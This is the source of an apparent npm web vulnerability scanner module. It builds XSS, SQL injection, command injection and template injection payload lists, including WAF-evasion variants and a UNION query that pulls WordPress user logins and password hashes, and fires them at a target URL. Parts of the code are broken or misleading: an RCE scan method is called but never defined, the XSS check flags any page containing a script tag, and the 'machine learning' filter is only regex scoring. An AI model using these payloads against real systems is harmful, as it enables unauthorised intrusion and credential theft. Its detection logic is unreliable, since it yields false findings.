UNPKG

web-vuln-scanner

Version:

Advanced, lightweight web vulnerability scanner with smart detection and easy-to-use interface

805 lines (680 loc) 23.7 kB
/** * Advanced Vulnerability Detection Engine * Smart detection, payload generation, and advanced scanning techniques */ class AdvancedDetectionEngine { constructor(options = {}) { this.options = options; this.payloadDatabase = new PayloadDatabase(); this.contextAnalyzer = new ContextAnalyzer(); this.intelligentScanner = new IntelligentScanner(); this.learningEngine = new LearningEngine(); } /** * Smart vulnerability detection with context awareness */ async detectVulnerabilities(target, context) { const results = []; // Analyze context for smart scanning const contextInfo = await this.contextAnalyzer.analyze(target, context); // Generate targeted payloads based on context const payloads = await this.payloadDatabase.generateTargeted(contextInfo); // Run intelligent scanning const scanResults = await this.intelligentScanner.scan(target, payloads, contextInfo); // Apply machine learning for false positive reduction const filteredResults = await this.learningEngine.filterResults(scanResults, contextInfo); return filteredResults; } } /** * Dynamic Payload Generation System */ class PayloadDatabase { constructor() { this.payloadSets = { xss: { html: new Set(), javascript: new Set(), attribute: new Set(), css: new Set(), url: new Set(), polyglot: new Set() }, sqli: { error_based: new Set(), union_based: new Set(), boolean_blind: new Set(), time_based: new Set(), second_order: new Set() }, rce: { command_injection: new Set(), code_injection: new Set(), deserialization: new Set(), template_injection: new Set() }, xxe: { file_disclosure: new Set(), ssrf: new Set(), dos: new Set() } }; this.contextRules = new Map(); this.initializePayloads(); this.initializeContextRules(); } initializePayloads() { // Advanced XSS payloads with evasion techniques this.payloadSets.xss.html.add('<svg onload=alert(1)>'); this.payloadSets.xss.html.add('<img src=x onerror=alert(1)>'); this.payloadSets.xss.html.add('<script>alert(String.fromCharCode(88,83,83))</script>'); this.payloadSets.xss.html.add('<iframe srcdoc="<script>alert(1)</script>">'); this.payloadSets.xss.html.add('<object data="javascript:alert(1)">'); // Context-aware XSS payloads this.payloadSets.xss.javascript.add('\';alert(1);//'); this.payloadSets.xss.javascript.add('</script><script>alert(1)</script>'); this.payloadSets.xss.javascript.add('`alert(1)`'); this.payloadSets.xss.javascript.add('${alert(1)}'); this.payloadSets.xss.attribute.add('" onmouseover="alert(1)" "'); this.payloadSets.xss.attribute.add('\' onfocus=\'alert(1)\' \''); this.payloadSets.xss.attribute.add('"><script>alert(1)</script>'); // Advanced SQL injection payloads this.payloadSets.sqli.error_based.add('\' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--'); this.payloadSets.sqli.error_based.add('\' AND (SELECT * FROM (SELECT COUNT(*), CONCAT((SELECT version()), FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) AS y)--'); this.payloadSets.sqli.union_based.add('\' UNION SELECT NULL, version(), NULL--'); this.payloadSets.sqli.union_based.add('\' UNION SELECT 1,2,3,4,5,6,7,8,9,10--'); this.payloadSets.sqli.time_based.add('\' AND (SELECT * FROM (SELECT SLEEP(5)) AS x)--'); this.payloadSets.sqli.time_based.add('\'; WAITFOR DELAY \'00:00:05\'--'); this.payloadSets.sqli.time_based.add('\' AND pg_sleep(5)--'); // RCE payloads this.payloadSets.rce.command_injection.add('| whoami'); this.payloadSets.rce.command_injection.add('; cat /etc/passwd'); this.payloadSets.rce.command_injection.add('`id`'); this.payloadSets.rce.command_injection.add('$(uname -a)'); // Template injection payloads this.payloadSets.rce.template_injection.add('{{7*7}}'); this.payloadSets.rce.template_injection.add('${7*7}'); this.payloadSets.rce.template_injection.add('#{7*7}'); this.payloadSets.rce.template_injection.add('<%=7*7%>'); } initializeContextRules() { // XSS context rules this.contextRules.set('html_body', { payloads: ['html', 'polyglot'], priority: 'high', techniques: ['tag_injection', 'event_handler'] }); this.contextRules.set('javascript_var', { payloads: ['javascript'], priority: 'high', techniques: ['string_break', 'template_literal'] }); this.contextRules.set('html_attribute', { payloads: ['attribute'], priority: 'medium', techniques: ['attribute_break', 'event_injection'] }); // SQL injection context rules this.contextRules.set('url_parameter', { payloads: ['error_based', 'union_based', 'boolean_blind'], priority: 'high', techniques: ['quote_break', 'numeric_injection'] }); this.contextRules.set('form_field', { payloads: ['error_based', 'time_based'], priority: 'high', techniques: ['form_injection', 'blind_injection'] }); } /** * Generate targeted payloads based on context analysis */ async generateTargeted(contextInfo) { const targetedPayloads = { xss: [], sqli: [], rce: [], xxe: [] }; // Generate XSS payloads based on context if (contextInfo.xssContexts) { for (const context of contextInfo.xssContexts) { const rule = this.contextRules.get(context.type); if (rule) { for (const payloadType of rule.payloads) { if (this.payloadSets.xss[payloadType]) { targetedPayloads.xss.push(...Array.from(this.payloadSets.xss[payloadType])); } } } } } // Generate SQL injection payloads if (contextInfo.sqlContexts) { for (const context of contextInfo.sqlContexts) { const rule = this.contextRules.get(context.type); if (rule) { for (const payloadType of rule.payloads) { if (this.payloadSets.sqli[payloadType]) { targetedPayloads.sqli.push(...Array.from(this.payloadSets.sqli[payloadType])); } } } } } // Add framework-specific payloads if (contextInfo.framework) { const frameworkPayloads = this.getFrameworkPayloads(contextInfo.framework); Object.keys(frameworkPayloads).forEach(vulnType => { if (targetedPayloads[vulnType]) { targetedPayloads[vulnType].push(...frameworkPayloads[vulnType]); } }); } // Add WAF evasion payloads if WAF detected if (contextInfo.wafDetected) { const evasionPayloads = this.getWAFEvasionPayloads(contextInfo.wafType); Object.keys(evasionPayloads).forEach(vulnType => { if (targetedPayloads[vulnType]) { targetedPayloads[vulnType].push(...evasionPayloads[vulnType]); } }); } return targetedPayloads; } getFrameworkPayloads(framework) { const frameworkPayloads = { wordpress: { xss: [ '"><script>alert("WP-XSS")</script>', '[caption code=">alert(1)"]', '{{7*7}}' ], sqli: [ '\' AND (SELECT * FROM wp_users WHERE 1)--', '\' UNION SELECT user_login, user_pass FROM wp_users--' ] }, drupal: { xss: [ '"><script>alert("Drupal-XSS")</script>', '<?php echo "XSS"; ?>', '{% set a = "alert(1)" %}{{ a|raw }}' ] }, laravel: { rce: [ '{{7*7}}', '{{ system("id") }}', '<?php system("whoami"); ?>' ] } }; return frameworkPayloads[framework] || {}; } getWAFEvasionPayloads(wafType) { const evasionPayloads = { cloudflare: { xss: [ '<svg/onload=alert(1)>', '<img src=x onerror=alert(String.fromCharCode(88,83,83))>', '<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>' ], sqli: [ '\'\tunion\tselect\t1,2,3--', '\'\u0020union\u0020select\u00201,2,3--', '\'/**/union/**/select/**/1,2,3--' ] }, akamai: { xss: [ '<ScRiPt>alert(1)</ScRiPt>', '<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">', '<svg><script>alert&#40;1&#41;</script>' ] } }; return evasionPayloads[wafType] || evasionPayloads.cloudflare; } } /** * Context Analysis Engine */ class ContextAnalyzer { constructor() { this.patterns = { framework: { wordpress: [/wp-content/, /wp-includes/, /wp-admin/, /wp-json/], drupal: [/sites\/default/, /modules/, /drupal/i], laravel: [/laravel/, /artisan/, /blade\.php/], symfony: [/symfony/, /sf_toolbar/], rails: [/rails/, /ruby/], django: [/django/, /python/], react: [/react/, /jsx/, /_next/], angular: [/angular/, /ng-/, /@angular/], vue: [/vue/, /nuxt/] }, waf: { cloudflare: [/cloudflare/, /cf-ray/], akamai: [/akamai/, /akamai-ghost/], aws: [/x-amzn/, /cloudfront/], incapsula: [/incap_ses/, /visid_incap/] } }; } async analyze(target, context) { const analysis = { url: target, framework: null, wafDetected: false, wafType: null, xssContexts: [], sqlContexts: [], technologies: [], headers: context.headers || {}, content: context.content || '' }; // Detect framework analysis.framework = this.detectFramework(analysis); // Detect WAF const wafInfo = this.detectWAF(analysis); analysis.wafDetected = wafInfo.detected; analysis.wafType = wafInfo.type; // Analyze XSS contexts analysis.xssContexts = this.analyzeXSSContexts(analysis.content); // Analyze SQL injection contexts analysis.sqlContexts = this.analyzeSQLContexts(target, analysis.content); // Detect technologies analysis.technologies = this.detectTechnologies(analysis); return analysis; } detectFramework(analysis) { const content = analysis.content.toLowerCase(); const headers = analysis.headers; for (const [framework, patterns] of Object.entries(this.patterns.framework)) { for (const pattern of patterns) { if (pattern.test(content) || pattern.test(analysis.url)) { return framework; } } // Check headers for framework indicators const serverHeader = headers.server || ''; const poweredBy = headers['x-powered-by'] || ''; if (framework === 'wordpress' && (content.includes('wp-') || poweredBy.includes('WordPress'))) { return framework; } if (framework === 'drupal' && content.includes('drupal')) { return framework; } } return null; } detectWAF(analysis) { const headers = analysis.headers; const content = analysis.content.toLowerCase(); for (const [wafType, patterns] of Object.entries(this.patterns.waf)) { for (const pattern of patterns) { if (pattern.test(content)) { return { detected: true, type: wafType }; } } // Check specific headers for (const [headerName, headerValue] of Object.entries(headers)) { for (const pattern of patterns) { if (pattern.test(headerName.toLowerCase()) || pattern.test(headerValue.toLowerCase())) { return { detected: true, type: wafType }; } } } } return { detected: false, type: null }; } analyzeXSSContexts(content) { const contexts = []; // HTML body context if (content.includes('<body')) { contexts.push({ type: 'html_body', confidence: 'high' }); } // JavaScript variable context const jsVarPattern = /<script[^>]*>.*?var\s+\w+\s*=\s*['"][^'"]*['"].*?<\/script>/gi; if (jsVarPattern.test(content)) { contexts.push({ type: 'javascript_var', confidence: 'high' }); } // HTML attribute context if (content.includes('value="') || content.includes('value=\'')) { contexts.push({ type: 'html_attribute', confidence: 'medium' }); } // CSS context if (content.includes('<style') || content.includes('style="')) { contexts.push({ type: 'css_context', confidence: 'medium' }); } return contexts; } analyzeSQLContexts(url, content) { const contexts = []; // URL parameters const urlObj = new URL(url); if (urlObj.searchParams.size > 0) { contexts.push({ type: 'url_parameter', confidence: 'high' }); } // Form fields const formPattern = /<form[^>]*>.*?<\/form>/gi; if (formPattern.test(content)) { contexts.push({ type: 'form_field', confidence: 'high' }); } // AJAX endpoints if (content.includes('$.ajax') || content.includes('fetch(') || content.includes('XMLHttpRequest')) { contexts.push({ type: 'ajax_endpoint', confidence: 'medium' }); } return contexts; } detectTechnologies(analysis) { const technologies = []; const content = analysis.content.toLowerCase(); const headers = analysis.headers; // Database technologies if (content.includes('mysql') || headers['x-powered-by']?.includes('mysql')) { technologies.push('mysql'); } if (content.includes('postgresql') || content.includes('postgres')) { technologies.push('postgresql'); } if (content.includes('mongodb') || content.includes('mongo')) { technologies.push('mongodb'); } // Programming languages if (headers['x-powered-by']?.includes('php') || content.includes('<?php')) { technologies.push('php'); } if (headers.server?.includes('node') || content.includes('express')) { technologies.push('nodejs'); } if (content.includes('java') || headers.server?.includes('tomcat')) { technologies.push('java'); } return technologies; } } /** * Intelligent Scanner with adaptive techniques */ class IntelligentScanner { constructor() { this.adaptiveThresholds = { response_time: 3000, error_patterns: new Set(), success_indicators: new Set() }; } async scan(target, payloads, contextInfo) { const results = []; // Adaptive scanning based on context for (const [vulnType, vulnPayloads] of Object.entries(payloads)) { if (vulnPayloads.length === 0) continue; const scanResults = await this.scanVulnerabilityType(target, vulnType, vulnPayloads, contextInfo); results.push(...scanResults); } return results; } async scanVulnerabilityType(target, vulnType, payloads, contextInfo) { const results = []; switch (vulnType) { case 'xss': return await this.scanXSS(target, payloads, contextInfo); case 'sqli': return await this.scanSQLInjection(target, payloads, contextInfo); case 'rce': return await this.scanRCE(target, payloads, contextInfo); default: return results; } } async scanXSS(target, payloads, contextInfo) { const results = []; for (const payload of payloads) { try { const testUrl = this.injectPayload(target, payload); const response = await this.makeRequest(testUrl); // Check for XSS indicators if (this.detectXSSSuccess(response, payload)) { results.push({ type: 'xss', severity: this.calculateSeverity('xss', contextInfo), payload, location: testUrl, evidence: response.content.substring(0, 200), confidence: this.calculateConfidence(response, payload) }); } } catch (error) { // Log error but continue scanning } } return results; } async scanSQLInjection(target, payloads, contextInfo) { const results = []; for (const payload of payloads) { try { const testUrl = this.injectPayload(target, payload); const startTime = Date.now(); const response = await this.makeRequest(testUrl); const responseTime = Date.now() - startTime; // Check for SQL injection indicators if (this.detectSQLInjectionSuccess(response, payload, responseTime)) { results.push({ type: 'sql_injection', severity: 'high', payload, location: testUrl, evidence: this.extractSQLEvidence(response), responseTime, confidence: this.calculateConfidence(response, payload) }); } } catch (error) { // Timeouts might indicate time-based SQL injection if (error.code === 'TIMEOUT' && payload.includes('SLEEP')) { results.push({ type: 'sql_injection_time_based', severity: 'high', payload, location: target, evidence: 'Request timeout indicating time-based SQL injection', confidence: 'medium' }); } } } return results; } injectPayload(url, payload) { const urlObj = new URL(url); // Inject into URL parameters for (const [param, value] of urlObj.searchParams.entries()) { urlObj.searchParams.set(param, payload); break; // Test first parameter } return urlObj.toString(); } async makeRequest(url) { const fetch = (await import('node-fetch')).default; const response = await fetch(url, { timeout: 30000, headers: { 'User-Agent': 'Mozilla/5.0 (compatible; WebVulnScanner/2.0)', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } }); const content = await response.text(); return { status: response.status, headers: Object.fromEntries(response.headers.entries()), content }; } detectXSSSuccess(response, payload) { // Check if payload is reflected in response if (response.content.includes(payload)) { return true; } // Check for HTML-decoded payload const decodedPayload = payload.replace(/&lt;/g, '<').replace(/&gt;/g, '>').replace(/&quot;/g, '"'); if (response.content.includes(decodedPayload)) { return true; } // Check for JavaScript execution indicators if (payload.includes('alert') && response.content.includes('<script>')) { return true; } return false; } detectSQLInjectionSuccess(response, payload, responseTime) { // Error-based detection const sqlErrors = [ /sql syntax.*mysql/i, /valid mysql result/i, /mysqlclient\./i, /postgresql.*error/i, /warning.*pg_/i, /valid postgresql result/i, /npgsql\./i, /driver.*sql.*server/i, /ole db.*sql server/i, /(\[sql server\])/i, /macromedia.*driver.*sql server/i, /ora-\d{4,5}/i, /oracle.*driver/i, /oracle.*db2/i, /sqlite.*error/i, /sqlite.*exception/i ]; for (const pattern of sqlErrors) { if (pattern.test(response.content)) { return true; } } // Time-based detection if (payload.includes('SLEEP') || payload.includes('WAITFOR')) { if (responseTime > 4000) { // 4+ seconds indicates successful time-based injection return true; } } // Union-based detection if (payload.includes('UNION') && response.content.length > 1000) { return true; } return false; } extractSQLEvidence(response) { const errorPatterns = [ /mysql.*error.*line \d+/i, /ora-\d{4,5}[:\s][^\r\n]*/i, /microsoft.*odbc.*sql server.*driver/i, /postgresql.*error/i ]; for (const pattern of errorPatterns) { const match = response.content.match(pattern); if (match) { return match[0].substring(0, 200); } } return 'SQL error indicators detected'; } calculateSeverity(vulnType, contextInfo) { const baseSeverity = { xss: 'medium', sql_injection: 'high', rce: 'critical' }; let severity = baseSeverity[vulnType] || 'medium'; // Increase severity based on context if (contextInfo.framework === 'wordpress' || contextInfo.framework === 'drupal') { severity = this.increaseSeverity(severity); } if (contextInfo.wafDetected) { severity = this.increaseSeverity(severity); // Bypassing WAF is more severe } return severity; } increaseSeverity(currentSeverity) { const levels = ['low', 'medium', 'high', 'critical']; const currentIndex = levels.indexOf(currentSeverity); return levels[Math.min(currentIndex + 1, levels.length - 1)]; } calculateConfidence(response, payload) { let confidence = 0.5; // Base confidence // Increase confidence based on response indicators if (response.content.includes(payload)) { confidence += 0.3; } if (response.status >= 500) { confidence += 0.2; } // Normalize to confidence levels if (confidence >= 0.8) return 'high'; if (confidence >= 0.6) return 'medium'; return 'low'; } } /** * Machine Learning Engine for False Positive Reduction */ class LearningEngine { constructor() { this.falsePositivePatterns = new Set(); this.truePositiveIndicators = new Set(); this.initializePatterns(); } initializePatterns() { // Common false positive patterns this.falsePositivePatterns.add(/404.*not found/i); this.falsePositivePatterns.add(/403.*forbidden/i); this.falsePositivePatterns.add(/500.*internal server error/i); // True positive indicators this.truePositiveIndicators.add(/alert.*executed/i); this.truePositiveIndicators.add(/sql.*syntax.*error/i); this.truePositiveIndicators.add(/command.*executed/i); } async filterResults(results, contextInfo) { const filteredResults = []; for (const result of results) { const confidence = this.assessResultConfidence(result, contextInfo); if (confidence >= 0.6) { // Threshold for inclusion result.mlConfidence = confidence; filteredResults.push(result); } } return filteredResults; } assessResultConfidence(result, contextInfo) { let confidence = 0.5; // Base confidence // Check against false positive patterns for (const pattern of this.falsePositivePatterns) { if (pattern.test(result.evidence || '')) { confidence -= 0.3; } } // Check for true positive indicators for (const indicator of this.truePositiveIndicators) { if (indicator.test(result.evidence || '')) { confidence += 0.3; } } // Context-based adjustments if (contextInfo.framework && result.payload.toLowerCase().includes(contextInfo.framework)) { confidence += 0.2; } if (contextInfo.wafDetected && result.confidence === 'high') { confidence += 0.1; // WAF bypass is significant } return Math.max(0, Math.min(1, confidence)); } } module.exports = { AdvancedDetectionEngine, PayloadDatabase, ContextAnalyzer, IntelligentScanner, LearningEngine };